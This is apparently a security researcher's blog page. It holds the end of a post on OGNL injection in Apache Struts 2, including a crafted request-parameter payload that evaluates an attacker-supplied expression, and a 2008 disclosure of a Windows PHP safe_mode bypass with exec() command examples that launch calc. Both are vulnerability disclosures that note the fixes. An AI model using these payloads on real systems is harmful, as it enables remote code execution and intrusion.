If you can create your own ValueStack object (required in the constructor in line 6 and for OGNL evaluation) you can call the setter setVar (line 10) which is a real setter because the property var exists (line 4). The setter setVar will then call findString (line 12) that in the end will execute a OGNL expression, which can be provided by another parameter value (which is not filtered):

x[new org.apache.struts2.components.ContextBean(new com.opensymphony.xwork2.util.ValueStack()).var(foobar)]=1
&foobar=OGNL expression

The problem in this example is to create a ValueStack with a constructor that has only one parameter to avoid the filtered comma. The class com.opensymphony.xwork2.util.ValueStack itself does not provide such a constructor, however their might be other classes with reduced constructors like in the first example.

You get the idea of “property oriented programming” ;) If you find anything cool please let me know. However note that all new vulnerabilities and the presented techniques are prevented in the new Struts 2.3.1.1 because whitespaces are not whitelisted anymore and you cannot access constructors anymore.

All Struts users should update to Struts 2.3.1.1.


PHP safe_mode bypass

October 14, 2008

About 3 month ago I came across a bug while playing with PHP commands on command line. I was investigating a php execution vulnerability in one of the Cipher4 CTF services where an attacker could execute PHP commands remotely. To quickly fix the issue and not break the service I was going to turn the safe_mode=on for this particular call. For my testings I used the following options:

-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-r Run PHP without using script tags <?..?>

A local test on my windows box with PHP 4.4.1:

C:\Dokumente und Einstellungen\Reiners>php -n -d safe_mode=on -r “exec(‘calc’);”
The command “/calc” is either misspelled or could not be found.

Now the slash infront of the command was really confusing. It looks like all the safe_mode is doing to prevent the command being executed is to add a slash infront of the command. After playing a bit more I found out that this can be circumvented by adding a backslash infront of your command.

C:\Dokumente und Einstellungen\Reiners1>php -n -d safe_mode=on -r “exec(‘\calc’);”

Voila, the calculator pops up and we have successfully bypassed the safe_mode. This works with the latest Version of PHP 4 and PHP 5 and of course in webapplications too.

<?php exec('\calc'); ?>

Note, that for some reasons you will not get the error message at the latest versions, but the code is executed anyhow. Furthermore, this only works with the functions exec(), system() and passthru() and only on Windows! I havent stepped through all the PHP source, but it seems to me that this bug has something to do with the path seperator on windows and the call of escapeshellcmd() and can not be used on unix enviroments.
I have reported this issue 3 month ago by several emails and decided to post it at the bugsystem over here 1 month ago after I got no response. Until today, there was no response at the bugsystem too so I’m putting it on my tiny blog. Lets see what happens ;)

As it is well known anyway: don’t trust the PHP safe_mode.

Update:
Finally after about 1 year they patched this bug. Thanks to Stefan Esser!


Follow

Get every new post delivered to your Inbox.

Join 80 other followers